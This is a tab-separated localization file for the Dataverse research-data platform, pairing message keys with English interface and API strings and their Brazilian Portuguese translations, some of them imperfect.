permission.roleWas	The role was {0}. To assign it to a user and/or group, click on the Assign Roles to Users/Groups button in the Users/Groups section of this page.	O papel foi {0}. Para atribuí-lo a um usuário e/ou grupo, clique no botão Atribuir Funções aos Usuários/Grupos na seção Usuários/Grupos desta página.
permission.roleNotSaved	The role was not able to be saved.	O papel não pôde ser salvo.
permission.permissionsMissing	Permissions {0} missing.	Permissões {0} ausentes.
permission.CannotAssigntDefaultPermissions	Cannot assign default permissions.	Não é possível atribuir permissões padrão.
permission.default.contributor.role.none.decription	A person who has no permissions on a newly created dataset. Not recommended for dataverses with human contributors.	Uma pessoa que não tem permissões em um conjunto de dados recém-criado. Não recomendado para dataverses com colaboradores humanos.
permission.default.contributor.role.none.name	None	Nenhum
permission.roleNotAbleToBeRemoved	The role assignment was not able to be removed.	A atribuição de função não pôde ser removida.
permission.fileAccessGranted	File Access request by {0} was granted.	A solicitação de acesso ao arquivo por {0} foi concedida.
permission.fileAccessRejected	File Access request by {0} was rejected.	A solicitação de acesso a arquivos por {0} foi rejeitada.
permission.roleNotAbleToBeAssigned	The role was not able to be assigned.	O papel não pôde ser atribuído.
dataverse.manageGroups.create.success	Successfully created group {0}. Refresh to update your page.	Grupo criado com sucesso {0}. Atualize para atualizar sua página.
dataverse.manageGroups.save.success	Successfully saved group {0}.	Grupo salvo com êxito {0}.
dataverse.manageGroups.delete	The group has been deleted.	O grupo foi excluído.
dataverse.manageGroups.nodelete	The explicit group cannot be deleted.	O grupo explícito não pode ser excluído.
dataverse.manageGroups.create.fail	Group Creation failed.	Falha na criação do grupo.
dataverse.manageGroups.edit.fail	Group edit failed.	A edição do grupo falhou.
dataverse.manageGroups.save.fail	Group Save failed.	O grupo Salvar falhou.
template.makeDefault	The template has been selected as the default template for this dataverse	O modelo foi selecionado como o modelo padrão para este dataverse
template.unselectDefault	The template has been removed as the default template for this dataverse	O modelo foi removido como o modelo padrão para este dataverse
template.clone	The template has been copied	O modelo foi copiado
template.clone.error	Template could not be copied.	O modelo não pôde ser copiado.
template.delete	The template has been deleted	O modelo foi eliminado
template.delete.error	The dataset template cannot be deleted.	O modelo de conjunto de dados não pode ser excluído.
template.update	Template data updated	Dados do modelo atualizados
template.update.error	Template update failed	Atualização do modelo falhou
template.makeDefault.error	The dataset template cannot be made default.	O modelo de conjunto de dados não pode ser definido como padrão.
page.copy	Copy of	Cópia de
permission.roleAssignedToOn	Role {0} assigned to {1} on {2}	Função {0} atribuída a {1} em {2}
permission.cannotAssignRole	Can´´t assign role: {0}	Não é possível atribuir papel: {0}
permission.roleRevoked	Role assignment revoked successfully	Atribuição de função revogada com sucesso
permission.cannotRevokeRole1	Cannot revoke role assignment - you´´re missing permission {0}	Não é possível revogar atribuição de função - você está perdendo permissão {0}
permission.cannotRevokeRole2	Cannot revoke role assignment: {0}	Não é possível revogar a atribuição de função: {0}
permission.roleSave	Role "{0}" saved	Função "{0}" salva
permission.cannotSaveRole	Cannot save role {0}	Não é possível salvar a função {0}
pid.allowedCharacters	^[A-Za-z0-9._/:\-]*	^[A-Za-z0-9._/:-]*
command.exception.only.superusers	{1} can only be called by superusers.	{1} só pode ser chamado por superusuários.
admin.api.auth.mustBeSuperUser	Forbidden. You must be a superuser.	Proibido. Você deve ser um superusuário.
admin.api.migrateHDL.failure.must.be.set.for.doi	May not migrate while installation protocol set to "hdl". Protocol must be "doi"	Não pode migrar enquanto o protocolo de instalação estiver definido como "hdl". Protocolo deve ser "doi"
admin.api.migrateHDL.failure.must.be.hdl.dataset	Dataset was not registered as a HDL. It cannot be migrated.	O conjunto de dados não foi registrado como HDL. Não pode ser migrado.
admin.api.migrateHDL.success	Dataset migrate HDL registration complete. Dataset re-registered successfully.	O conjunto de dados migra o registro HDL completo. Conjunto de dados registrado novamente com sucesso.
admin.api.migrateHDL.failure	Failed to migrate Dataset Handle id: {0}	Falha ao migrar o ID do Identificador de Conjunto de Dados: {0}
admin.api.migrateHDL.failureWithException	Failed to migrate Dataset Handle id: {0} Unexpected exception: {1}	Falha ao migrar o ID do Identificador de Conjunto de Dados: {0} Exceção inesperada: {1}
datasets.api.updatePIDMetadata.failure.dataset.must.be.released	Modify Registration Metadata must be run on a published dataset.	Modificar registro Os metadados devem ser executados em um conjunto de dados publicado.
datasets.api.updatePIDMetadata.auth.mustBeSuperUser	Forbidden. You must be a superuser.	Proibido. Você deve ser um superusuário.
datasets.api.updatePIDMetadata.success.for.single.dataset	Dataset {0} PID Metadata updated successfully.	Conjunto de dados {0} Metadados do PID atualizados com êxito.
datasets.api.updatePIDMetadata.success.for.update.all	All Dataset PID Metadata update completed successfully.	Todas as atualizações de Metadados do Conjunto de Dados do Conjunto de Dados foram concluídas com êxito.
datasets.api.moveDataset.error.targetDataverseNotFound	Target dataverse not found.	Comunidade alvo não encontrado.
datasets.api.moveDataset.error.suggestForce	Use the query parameter forceMove=true to complete the move.	Use o parâmetro de consulta forceMove=true para concluir o movimento.
datasets.api.moveDataset.success	Dataset moved successfully.	Conjunto de dados movido com sucesso.
dataverses.api.update.default.contributor.role.failure.role.not.found	Role {0} not found.	Função {0} não encontrada.
dataverses.api.update.default.contributor.role.success	Default contributor role for Dataverse {0} has been set to {1}.	A função de contribuidor padrão para o Dataverse {0} foi definida como {1}.
dataverses.api.update.default.contributor.role.failure.role.does.not.have.dataset.permissions	Role {0} does not have dataset permissions.	A função {0} não possui permissões de conjunto de dados.
dataverses.api.move.dataverse.failure.descendent	Can´t move a dataverse to its descendant	Não é possível mover um dataverse para seu descendente
dataverses.api.move.dataverse.failure.already.member	Dataverse already in this dataverse	Dataverse já neste dataverse
dataverses.api.move.dataverse.failure.itself	Cannot move a dataverse into itself	Não é possível mover um dataverse nele mesmo
dataverses.api.move.dataverse.failure.not.published	Published dataverse may not be moved to unpublished dataverse. You may publish {1} and re-try the move.	O dataverse publicado não pode ser movido para um dataverse não publicado. Você pode publicar {1} e tentar novamente a jogada.
dataverses.api.move.dataverse.error.guestbook	Dataset guestbook is not in target dataverse.	O conjunto de guestbook do conjunto de dados não está no dataverse de destino.
dataverses.api.move.dataverse.error.template	Dataverse template is not in target dataverse.	O modelo do Dataverse não está no dataverse de destino.
dataverses.api.move.dataverse.error.featured	Dataverse is featured in current dataverse.	O Dataverse é apresentado no dataverse atual.
dataverses.api.move.dataverse.error.metadataBlock	Dataverse metadata block is not in target dataverse.	O bloco de metadados do Dataverse não está no dataverse de destino.
dataverses.api.move.dataverse.error.dataverseLink	Dataverse is linked to target dataverse or one of its parents.	O Dataverse está vinculado ao dataverse de destino ou a um de seus pais.
dataverses.api.move.dataverse.error.datasetLink	Dataset is linked to target dataverse or one of its parents.	O conjunto de dados está vinculado ao dataverse de destino ou a um de seus pais.
dataverses.api.move.dataverse.error.forceMove	Please use the parameter ?forceMove=true to complete the move. This will remove anything from the dataverse that is not compatible with the target dataverse.	Por favor use o parâmetro? forceMove=true para completar o movimento. Isso removerá qualquer coisa do dataverse que não seja compatível com o dataverse de destino.
access.api.allowRequests.failure.noDataset	Could not find Dataset with id: {0}	Não foi possível encontrar o conjunto de dados com o ID: {0}
access.api.allowRequests.failure.noSave	Problem saving dataset {0}: {1}	Problema ao salvar o conjunto de dados {0}: {1}
access.api.allowRequests.allows	allows	permite
access.api.allowRequests.disallows	disallows	não permite
access.api.allowRequests.success	Dataset {0} {1} file access requests.	Dataset {0} {1} solicitações de acesso a arquivos.
access.api.fileAccess.failure.noUser	Could not find user to execute command: {0}	Não foi possível encontrar o usuário para executar o comando: {0}
access.api.requestAccess.failure.commandError	Problem trying request access on {0} : {1}	Problema tentando acessar a solicitação em {0}: {1}
access.api.requestAccess.failure.requestExists	An access request for this file on your behalf already exists.	Já existe um pedido de acesso para este arquivo em seu nome.
access.api.requestAccess.failure.invalidRequest	You may not request access to this file. It may already be available to you.	Você não pode solicitar acesso a este arquivo. Pode já estar disponível para você.
access.api.requestAccess.noKey	You must provide a key to request access to a file.	Você deve fornecer uma chave para solicitar acesso a um arquivo.
access.api.requestAccess.fileNotFound	Could not find datafile with id {0}.	Não foi possível encontrar o arquivo de dados com o ID {0}.
access.api.requestAccess.invalidRequest	This file is already available to you for download or you have a pending request	Este arquivo já está disponível para download ou você tem uma solicitação pendente
access.api.requestAccess.requestsNotAccepted	Requests for access are not accepted on the Dataset.	Solicitações de acesso não são aceitas no conjunto de dados.
access.api.requestAccess.success.for.single.file	Access to File {0} requested.	Acesso ao Arquivo {0} solicitado.
access.api.rejectAccess.failure.noPermissions	Requestor does not have permission to manage file download requests.	O solicitante não tem permissão para gerenciar solicitações de download de arquivos.
access.api.grantAccess.success.for.single.file	Access to File {0} granted.	Acesso ao arquivo {0} concedido.
access.api.grantAccess.noAssigneeFound	Could not find assignee with identifier {0}.	Não foi possível encontrar o responsável com o identificador {0}.
access.api.grantAccess.failure.commandError	Problem trying grant access on {0} : {1}	Problema ao tentar conceder acesso em {0}: {1}
access.api.fileAccess.rejectFailure.noRequest	No request for access to file {0} for user {1}	Nenhum pedido de acesso ao arquivo {0} para o usuário {1}
access.api.rejectAccess.success.for.single.file	Access to File {0} rejected.	Acesso ao arquivo {0} rejeitado.
access.api.revokeAccess.noRoleFound	No File Downloader role found for user {0}	Nenhuma função de download de arquivo foi encontrada para o usuário {0}
access.api.revokeAccess.success.for.single.file	File Downloader access has been revoked for user {0} on file {1}	O acesso do File Downloader foi revogado para o usuário {0} no arquivo {1}
access.api.requestList.fileNotFound	Could not find datafile with id {0}.	Não foi possível encontrar o arquivo de dados com o ID {0}.
access.api.requestList.noKey	You must provide a key to get list of access requests for a file.	Você deve fornecer uma chave para obter uma lista de solicitações de acesso para um arquivo.
access.api.requestList.noRequestsFound	There are no access requests for this file: {0}.	Não há solicitações de acesso para este arquivo {0}.
access.api.exception.metadata.not.available.for.nontabular.file	This type of metadata is only available for tabular files.	Esse tipo de metadados está disponível apenas para arquivos tabulares.
permission.AddDataverse.label	AddDataverse	AddDataverse
permission.AddDataset.label	AddDataset	AddDataset
permission.ViewUnpublishedDataverse.label	ViewUnpublishedDataverse	ViewUnpublishedDataverse
permission.ViewUnpublishedDataset.label	ViewUnpublishedDataset	ViewUnpublishedDataset
permission.DownloadFile.label	DownloadFile	DownloadFile
permission.EditDataverse.label	EditDataverse	EditDataverse
permission.EditDataset.label	EditDataset	EditDataset
permission.ManageDataversePermissions.label	ManageDataversePermissions	ManageDataversePermissions
permission.ManageDatasetPermissions.label	ManageDatasetPermissions	ManageDatasetPermissions
permission.PublishDataverse.label	PublishDataverse	PublishDataverse
permission.PublishDataset.label	PublishDataset	PublishDataset
permission.DeleteDataverse.label	DeleteDataverse	DeleteDataverse
permission.DeleteDatasetDraft.label	DeleteDatasetDraft	DeleteDatasetDraft
permission.AddDataverse.desc	Add a dataverse within another dataverse	Adicionar uma comunidade dataverse dentro de outra
permission.DeleteDatasetDraft.desc	Delete a dataset draft	Excluir um rascunho de conjunto de dados
permission.DeleteDataverse.desc	Delete an unpublished dataverse	Excluir um dataverse não publicado
permission.PublishDataset.desc	Publish a dataset	Publicar um conjunto de dados
permission.PublishDataverse.desc	Publish a dataverse	Publicar uma coleção dataverse
permission.ManageDatasetPermissions.desc	Manage permissions for a dataset	Gerenciar permissões para um conjunto de dados
permission.ManageDataversePermissions.desc	Manage permissions for a dataverse	Gerenciar permissões para um dataverse
permission.EditDataset.desc	Edit a dataset´s metadata	Editar metadados do conjunto de dados
permission.EditDataverse.desc	Edit a dataverse´s metadata, facets, customization, and templates	Editar metadados, facetas, personalização e modelos de um dataverse
permission.DownloadFile.desc	Download a file	Baixar um arquivo
permission.ViewUnpublishedDataset.desc	View an unpublished dataset and its files	Ver um conjunto de dados não publicado e seus arquivos
permission.ViewUnpublishedDataverse.desc	View an unpublished dataverse	Ver um dataverse não publicado
permission.AddDataset.desc	Add a dataset to a dataverse	Adicionar um conjunto de dados a um dataverse
packageDownload.title	Package File Download	Download do arquivo de pacote
packageDownload.instructions	Use the Download URL in a Wget command or a download manager to download this package file. Download via web browser is not recommended. User Guide - Downloading a Dataverse Package via URL	Use A URL de download em um comando Wget ou em um gerenciador de download para baixar esse arquivo de pacote. Download via navegador da web não é recomendado. Guia do Usuário - Baixando um pacote do Dataverse via URL
packageDownload.urlHeader	Download URL	URL de download
Published	Published	Publicado
Unpublished	Unpublished	Não publicado
Draft	Draft	Esboço
Inu0020Review	In Review	Em revisão
Deaccessioned	Deaccessioned	Desacordo
dataverse.manageGroups.user	user	usuário
dataverse.manageGroups.users	users	usuários
dataverse.manageGroups.group	group	grupo
dataverse.manageGroups.groups	groups	grupos
dataverse.manageGroups.nomembers	No Members	Nenhum membro
dataverse.manageGroups.unknown	unknown	desconhecido
dataverse.manageGroups.User	User	Usuários
dataverse.manageGroups.Group	Group	Grupos
editfilesfragment.mainlabel	Select Language Encoding...	Selecionar codificação de idioma ...
editfilesfragment.label1	West European	West European
editfilesfragment.label1.item1	Western (ISO-8859-1)	Western (ISO-8859-1)
editfilesfragment.label1.item2	Western (ISO-8859-15)	Western (ISO-8859-15)
editfilesfragment.label1.item3	Western (Windows-1252)	Western (Windows-1252)
editfilesfragment.label1.item4	Western (MacRoman)	Western (MacRoman)
editfilesfragment.label1.item5	Western (IBM-850)	Western (IBM-850)
editfilesfragment.label1.item6	Celtic (ISO-8859-14)	Celtic (ISO-8859-14)
editfilesfragment.label1.item7	Greek (ISO-8859-7)	Greek (ISO-8859-7)
editfilesfragment.label1.item8	Greek (Windows-1253)	Greek (Windows-1253)
editfilesfragment.label1.item9	Greek (MacGreek)	Greek (MacGreek)
editfilesfragment.label1.item10	Icelandic (MacIcelandic)	Icelandic (MacIcelandic)
editfilesfragment.label1.item11	Nordic (ISO-8859-10)	Nordic (ISO-8859-10)
editfilesfragment.label1.item12	South European (ISO-8859-3)	South European (ISO-8859-3)
editfilesfragment.label2	East European	East European
editfilesfragment.label2.item1	Baltic (ISO-8859-4)	Baltic (ISO-8859-4)
editfilesfragment.label2.item2	Baltic (ISO-8859-13)	Baltic (ISO-8859-13)
editfilesfragment.label2.item3	Baltic (Windows-1257)	Baltic (Windows-1257)
editfilesfragment.label2.item4	Cyrillic (ISO-8859-5)	Cyrillic (ISO-8859-5)
editfilesfragment.label2.item5	Cyrillic (ISO-IR-111)	Cyrillic (ISO-IR-111)
editfilesfragment.label2.item6	Cyrillic (Windows-1251)	Cyrillic (Windows-1251)
editfilesfragment.label2.item7	Cyrillic (MacCyrillic)	Cyrillic (MacCyrillic)
editfilesfragment.label2.item8	Cyrillic/Ukrainian (MacUkrainian)	Cyrillic/Ukrainian (MacUkrainian)
editfilesfragment.label2.item9	Cyrillic (KOI8-R)	Cyrillic (KOI8-R)
editfilesfragment.label2.item10	Cyrillic/Ukrainian (KOI8-U)	Cyrillic/Ukrainian (KOI8-U)
editfilesfragment.label2.item11	Croatian (MacCroatian)	Croatian (MacCroatian)
editfilesfragment.label2.item12	Romanian (MacRomanian)	Romanian (MacRomanian)
editfilesfragment.label2.item13	Romanian (ISO-8859-16)	Romanian (ISO-8859-16)
editfilesfragment.label2.item14	Central European (ISO-8859-2)	Central European (ISO-8859-2)
editfilesfragment.label2.item15	Central European (Windows-1250)	Central European (Windows-1250)
editfilesfragment.label2.item16	Central European (MacCE)	Central European (MacCE)
editfilesfragment.label2.item17	Cyrillic (IBM-855)	Cyrillic (IBM-855)
editfilesfragment.label3	East Asian	East Asian
editfilesfragment.label3.item1	Japanese (ISO-2022-JP)	Japanese (ISO-2022-JP)
editfilesfragment.label3.item2	Japanese (Shift_JIS)	Japanese (Shift_JIS)
editfilesfragment.label3.item3	Japanese (EUC-JP)	Japanese (EUC-JP)
editfilesfragment.label3.item4	Chinese Traditional (Big5)	Chinese Traditional (Big5)
editfilesfragment.label3.item5	Chinese Traditional (Big5-HKSCS)	Chinese Traditional (Big5-HKSCS)
editfilesfragment.label3.item6	Chinese Traditional (EUC-TW)	Chinese Traditional (EUC-TW)
editfilesfragment.label3.item7	Chinese Simplified (GB2312)	Chinese Simplified (GB2312)
editfilesfragment.label3.item8	Chinese Simplified (HZ)	Chinese Simplified (HZ)
editfilesfragment.label3.item9	Chinese Simplified (GBK)	Chinese Simplified (GBK)
editfilesfragment.label3.item10	Chinese Simplified (ISO-2022-CN)	Chinese Simplified (ISO-2022-CN)
editfilesfragment.label3.item11	Korean (EUC-KR)	Korean (EUC-KR)
editfilesfragment.label3.item12	Korean (JOHAB)	Korean (JOHAB)
editfilesfragment.label3.item13	Korean (ISO-2022-KR)	Korean (ISO-2022-KR)
editfilesfragment.label4	Unicode	Unicode
editfilesfragment.label4.item1	Unicode (UTF-8)	Unicode (UTF-8)
editfilesfragment.label4.item2	Unicode (UTF-16LE)	Unicode (UTF-16LE)
editfilesfragment.label4.item3	Unicode (UTF-16BE)	Unicode (UTF-16BE)
editfilesfragment.label5	US-ASCII	US-ASCII
isrequired	{0} is required.	é obrigatório.
draftversion	DRAFT VERSION	VERSÃO RASCUNHO
deaccessionedversion	DEACCESSIONED VERSION	VERSÃO DESATIVADA
not_restricted	Not Restricted	Não restrito
editdatafilepage.defaultLanguageEncoding	UTF8 (default)	UTF8 (padrão)
passwdVal.passwdReq.each	each	cada
passwdVal.passwdReq.uppercase	uppercase	maiuúsculas
passwdVal.passwdReq.lowercase	lowercase	minúsculas
passwdVal.passwdReq.letter	letter	carta
passwdVal.passwdReq.numeral	numeral	numeral
passwdVal.passwdReq.special	special	especial
dataretrieverAPI.noMsgResultsFound	Sorry, no results were found.	Desculpe, nenhum resultado foi encontrado.
xlsxfilereader.ioexception.parse	Could not parse Excel/XLSX spreadsheet. {0}	Não foi possível analisar a planilha Excel/XLSX. {0}
xlsxfilereader.ioexception.norows	No rows of data found in the Excel (XLSX) file.	Nenhuma linha de dados encontrada no arquivo Excel (XLSX).
xlsxfilereader.ioexception.onlyonerow	Only one row of data (column name header?) detected in the Excel (XLSX) file.	Apenas uma linha de dados (cabeçalho do nome da coluna?) Detectada no arquivo Excel (XLSX).
xlsxfilereader.ioexception.failed	Failed to read line {0} during the second pass.	Falha ao ler a linha {0} durante a segunda passagem.
xlsxfilereader.ioexception.mismatch	Reading mismatch, line {0} during the second pass: {1} delimited values expected, {2} found.	Incompatibilidade de leitura, linha {0} durante a segunda passagem: {1} valores delimitados esperados, {2} encontrados.
xlsxfilereader.ioexception.linecount	Mismatch between line counts in first and final passes!	Incompatibilidade entre contagens de linha no primeiro e último passes!
rtabfileparser.ioexception.failed	Failed to read line {0} of the Data file.	Falha ao ler a linha {0} do arquivo de dados.
rtabfileparser.ioexception.mismatch	Reading mismatch, line {0} of the Data file: {1} delimited values expected, {2} found.	Incompatibilidade de leitura, linha {0} do arquivo Dados: {1} valores delimitados esperados, {2} encontrados.
rtabfileparser.ioexception.boolean	Unexpected value for the Boolean variable ({0}):	Valor inesperado para a variável booleana ({0}):
rtabfileparser.ioexception.read	Couldn´t read Boolean variable ({0})!	Não foi possível ler a variável booleana ({0})!
rtabfileparser.ioexception.parser1	R Tab File Parser: Could not obtain varQnty from the dataset metadata.	R Tab File Parser: Não foi possível obter varQnty dos metadados do conjunto de dados.
rtabfileparser.ioexception.parser2	R Tab File Parser: varQnty=0 in the dataset metadata!	R Tab File Parser: varQnty=0 nos metadados do conjunto de dados!
configurefragmentbean.apiTokenGenerated	API Token will be generated. Please keep it secure as you would do with a password.	O token da API será gerado. Por favor, mantenha-o seguro como faria com uma senha.
staticSearchFields.dvCategory	Dataverse Category	Categoria Dataverse
staticSearchFields.metadataSource	Metadata Source	Origem de Metadados
staticSearchFields.publicationDate	Publication Year	Ano de publicação
staticSearchFields.fileTypeGroupFacet	File Type	Tipo do arquivo
staticSearchFields.dvObjectType	Type	Tipo
staticSearchFields.fileTag	File Tag	Tag de arquivo
staticSearchFields.fileAccess	Access	Acesso
staticSearchFields.publicationStatus	Publication Status	Status da Publicação
staticSearchFields.subject_ss	Subject	Assunto
Researcher	Researcher	Pesquisador
Researchu0020Project	Research Project	Projeto de pesquisa
Journal	Journal	Revista
Organizationu0020oru0020Institution	Organization or Institution	Organização ou instituição
Teachingu0020Course	Teaching Course	Curso de ensino
Researchu0020Group	Research Group	Grupo de Pesquisa
Laboratory	Laboratory	Laboratório
Department	Department	Departamento
Uncategorized	Uncategorized	Sem categoria
Document	Document	Documento
Text	Text	Texto
Tabularu0020Data	Tabular Data	Dados tabulares
Data	Data	Dados
FITS	FITS	FITS
Shape	Shape	Forma
Image	Image	Imagem
Networku0020Data	Network Data	Dados da rede
Unknown	Unknown	Desconhecido
Documentation	Documentation	Documentação
Code	Code	Código
Archive	Archive	Arquivo
Audio	Audio	Áudio
Video	Video	Vídeo
Public	Public	Público
Restricted	Restricted	Rrestrito
idp.fatal.divMissing	specified as "insertAtDiv" could not be located in the HTML	especificado como ".,insertAtDiv"., não pôde ser localizado no HTML
idp.fatal.noXMLHttpRequest	Browser does not support XMLHttpRequest, unable to load IdP selection data	O navegador não oferece suporte a XMLHttpRequest, incapaz de carregar dados de seleção de IdP
idp.fatal.wrongProtocol	Policy supplied to DS was not "urn:oasis:names:tc:SAML:profiles:SSO:idpdiscovery-protocol:single"	A política fornecida ao DS não era ".,urn:oasis:names:tc:SAML:profiles:SSO:idpdiscovery-protocol:single".,
idp.fatal.wrongEntityId	entityId supplied by SP did not match configuration	entityId fornecido pelo SP não corresponde à configuração
idp.fatal.noData	Metadata download returned no data	O download de metadados não retornou dados
idp.fatal.loadFailed	Failed to download metadata from	Falha ao baixar metadados de
idp.fatal.noparms	No parameters to discovery session and no defaultReturn parameter configured	Nenhum parâmetro para a sessão de descoberta e nenhum parâmetro defaultReturn configurado
idp.fatal.noReturnURL	No URL return parameter provided	Nenhum parâmetro de retorno de URL fornecido
idp.fatal.badProtocol	Return request must start with https:// or http://	A solicitação de devolução deve começar com https:// ou http://
idp.idpPreferred.label	Use a previous selection:	Use uma seleção anterior:
idp.idpEntry.label	Or enter your institution´s name.	Ou digite o nome da sua instituição.
idp.idpEntry.NoPreferred.label	Enter your institution´s name and click "Continue" to log in via your institution´s authentication system.	Digite o nome da sua instituição e clique em ".,Continuar"., para fazer o login através do sistema de autenticação da sua instituição.
idp.idpList.label	Or select your institution from the list below.	Ou selecione sua instituição na lista abaixo.
idp.idpList.NoPreferred.label	Select your institution and click "Continue" to log in via your institution´s authentication system.	Selecione sua instituição e clique em ".,Continuar"., para fazer login através do sistema de autenticação de sua instituição.
idp.idpList.defaultOptionLabel	Please select...	Por favor selecione...
idp.idpList.showList	Allow me to pick from a list	Permita-me escolher em uma lista
idp.idpList.showSearch	Allow me to type the name of my institution	Permita-me digitar o nome da minha instituição
idp.submitButton.label	Continue	Continuar
idp.helpText	Help	Help
idp.defaultLogoAlt		[2709]
login.institution.support.beforeLink	Leaving your institution? Please contact	Saindo da sua instituição? Por favor entre em contato
login.institution.support.afterLink	for assistance.	para assistência.
auth.providers.orcid.insufficientScope	Dataverse was not granted the permission to read user data from ORCID.	O Dataverse não recebeu permissão para ler dados do usuário do ORCID.
dataverse.title	The project, department, university, professor, or journal this dataverse will contain data for.	O projeto, departamento, universidade, professor ou a revista deste dataverse irá conter dados.
dataverse.theme.logo.format.selectTab.square2	Square	Quadrado
dataverse.theme.logo.format.selectTab.rectangle2	Rectangle	Retângulo
dataverse.theme.logo.alignment.selectTab.left2	Left	Esquerda
dataverse.theme.logo.alignment.selectTab.center2	Center	Centro
dataverse.theme.logo.alignment.selectTab.right2	Right	Direita
file.metadata.preview.alt	Preview image for	Imagem de visualização para
file.previewMap	Preview Map:o	Preview Map:o
storage	Storage	Armazenamento
	APIs	Login do Shibboleth
auth.providers.token.failRetrieveToken	Dataverse could not retrieve an access token.	O Dataverse não pôde recuperar um token de acesso.
auth.providers.token.failParseToken	Dataverse could not parse the access token.	O Dataverse não pôde analisar o token de acesso.
auth.providers.token.failGetUser	Dataverse could not get your user record. Please consult your administrator.	O Dataverse não pôde obter seu registro de usuário. Por favor, consulte seu administrador.
harvestclients.newClientDialog.oaiSets.listTruncated	Please note that the remote server was taking too long to return the full list of available OAI sets, so the list was truncated. Please select a set from the current list (or select the "no set" option), and try again later, if you need to change it.	Observe que o servidor remoto estava demorando muito para retornar a lista completa de conjuntos OAI disponíveis, portanto, a lista foi truncada. Selecione um conjunto da lista atual (ou selecione a opção "sem conjunto") e tente novamente mais tarde, se precisar alterá-lo.
harvestclients.newClientDialog.harvestingStyle.required	Please select one of the values from the menu.	Por favor, selecione um dos valores do menu.
dataverse.storage.title	A storage service to be used for datasets in this dataverse.	Um serviço de armazenamento a ser usado para conjuntos de dados neste inversor de dados.
dataverse.storage.inherited	(inherited from enclosing Dataverse)	(herdado do Dataverse)
dataverse.storage.default	(Default)	(padrão)
search.datasets.literalquestion	Text of the actual, literal question asked.	Texto da pergunta literal real.
search.datasets.interviewinstructions	Specific instructions to the individual conducting an interview.	Instruções específicas para o indivíduo que conduz uma entrevista.
search.datasets.postquestion	Text describing what occurs after the literal question has been asked.	Texto descrevendo o que ocorre após a pergunta literal ter sido feita.
search.datasets.variableuniverse	The group of persons or other elements that are the object of research and to which any analytic results refer.	O grupo de pessoas ou outros elementos que são objeto de pesquisa e aos quais qualquer resultado analítico se refere.
search.datasets.variableNotes	For clarifying information/annotation regarding the variable.	Para esclarecer informações / anotações sobre a variável
dataverse.permissionsFiles.files.includeDeleted	Include Deleted Files	Incluir arquivos excluídos
file.previewTab.presentation	File Preview Tool	Ferramenta de visualização de arquivo
file.previewTab.exploreBtn	{0} on {1}	{0} em {1}
admin.api.deleteUser.failure.prefix	Could not delete Authenticated User {0} because	Não foi possível excluir o usuário autenticado {0} porque
admin.api.deleteUser.failure.dvobjects	the user has created Dataverse object(s)	o usuário criou objetos do Dataverse
admin.api.deleteUser.failure.gbResps	the user is associated with file download (Guestbook Response) record(s)	o usuário está associado ao (s) registro (s) de download de arquivo (resposta do livro de visitas)
admin.api.deleteUser.failure.roleAssignments	the user is associated with role assignment record(s)	o usuário está associado ao (s) registro (s) de atribuição de função
admin.api.deleteUser.failure.versionUser	the user has contributed to dataset version(s)	o usuário contribuiu para a (s) versão (ões) do conjunto de dados
admin.api.deleteUser.failure.groupMember	the user is a member of Explicit Group(s)	o usuário é membro de grupos explícitos
admin.api.deleteUser.failure.pendingRequests	the user has pending File Access Request(s)	o usuário possui solicitações de acesso a arquivos pendentes
admin.api.deleteUser.success	Authenticated User {0} deleted.	Usuário autenticado {0} excluído.
datasets.api.listing.error	Fatal error trying to list the contents of the dataset. Please report this error to the Dataverse administrator.	Erro fatal ao tentar listar o conteúdo do conjunto de dados. Por favor, reporte este erro ao administrador do Dataverse.
datasets.api.datasize.storage	Total size of the files stored in this dataset: {0} bytes	Tamanho total dos arquivos armazenados neste conjunto de dados: {0} bytes
datasets.api.datasize.download	Total size of the files available for download in this version of the dataset: {0} bytes	Tamanho total dos arquivos disponíveis para download nesta versão do conjunto de dados: {0} bytes
datasets.api.datasize.ioerror	Fatal IO error while trying to determine the total size of the files stored in the dataset. Please report this error to the Dataverse administrator.	Erro fatal de E / S ao tentar determinar o tamanho total dos arquivos armazenados no conjunto de dados. Por favor, reporte este erro ao administrador do Dataverse.
datasets.api.grant.role.not.found.error	Cannot find role named ´´{0}´´ in dataverse {1}	Não é possível encontrar a função denominada ´´{0}´´ no inversor de dados {1}
datasets.api.grant.role.cant.create.assignment.error	Cannot create assignment: {0}	Não é possível criar a tarefa: {0}
datasets.api.grant.role.assignee.not.found.error	Assignee not found	Responsável não encontrado
datasets.api.revoke.role.not.found.error	"Role assignment {0} not found"	"Atribuição de função {0} não encontrada"
datasets.api.revoke.role.success	Role {0} revoked for assignee {1} in {2}	Função {0} revogada para o responsável {1} em {2}
notification.publishFailedPidReg	{0} in {1} could not be published due to a failure to register, or update the Global Identifier for the dataset or one of the files in it. Contact support if this continues to happen.	{0} em {1} não pôde ser publicado devido a uma falha no registro ou atualização do identificador global para o conjunto de dados ou um dos arquivos nele. Entre em contato com o suporte se isso continuar a acontecer.
notification.email.publishFailure.dataset.subject	{0}: Failed to publish your dataset	{0}: Falha ao publicar seu conjunto de dados
notification.email.publishFailedPidReg	{0} (view at {1} ) in {2} (view at {3} ) could not be published due to a failure to register, or update the Global Identifier for the dataset or one of the files in it. Contact support if this continues to happen.	{0} (visualizar em {1}) em {2} (visualizar em {3}) não pôde ser publicado devido a uma falha no registro ou atualização do identificador global para o conjunto de dados ou um dos arquivos em isto. Entre em contato com o suporte se isso continuar a acontecer.
dataset.accessBtn	Access Dataset	Acessar conjunto de dados
dataset.accessBtn.header.download	Download Options	Opções de download
dataset.accessBtn.header.explore	Explore Options	Explorar opções
dataset.accessBtn.header.compute	Compute Options	Opções de computação
dataset.accessBtn.download.size	ZIP ({0})	ZIP ({0})
dataset.linkBtn	Link Dataset	Conjunto de dados de link
dataset.contactBtn	Contact Owner	Contato com o proprietário
dataset.shareBtn	Share	Compartilhar
dataset.publishBtn	Publish Dataset	Publicar conjunto de dados
dataset.rejectMessage.label	Return to Author Reason	Retornar ao motivo do autor
dataset.link.title	Link Dataset	Conjunto de dados de link
dataset.link.not.available	Can´t link a dataset that has not been published or is not harvested	Não é possível vincular um conjunto de dados que não foi publicado ou não foi coletado
dataset.email.datasetContactTitle	Contact Dataset Owner	Contactar o proprietário do conjunto de dados
dataset.locked.pidNotReserved.message	Dataset DOI Not Reserved	Conjunto de dados DOI não reservado
dataset.locked.pidNotReserved.message.details	The DOI displayed in the citation for this dataset has not yet been reserved with DataCite. Please do not share this DOI until it has been reserved.	O DOI exibido na citação para este conjunto de dados ainda não foi reservado com DataCite. Não compartilhe este DOI até que seja reservado.
dataset.publish.file.validation.error.message	Failed to Publish Dataset	Falha ao publicar conjunto de dados
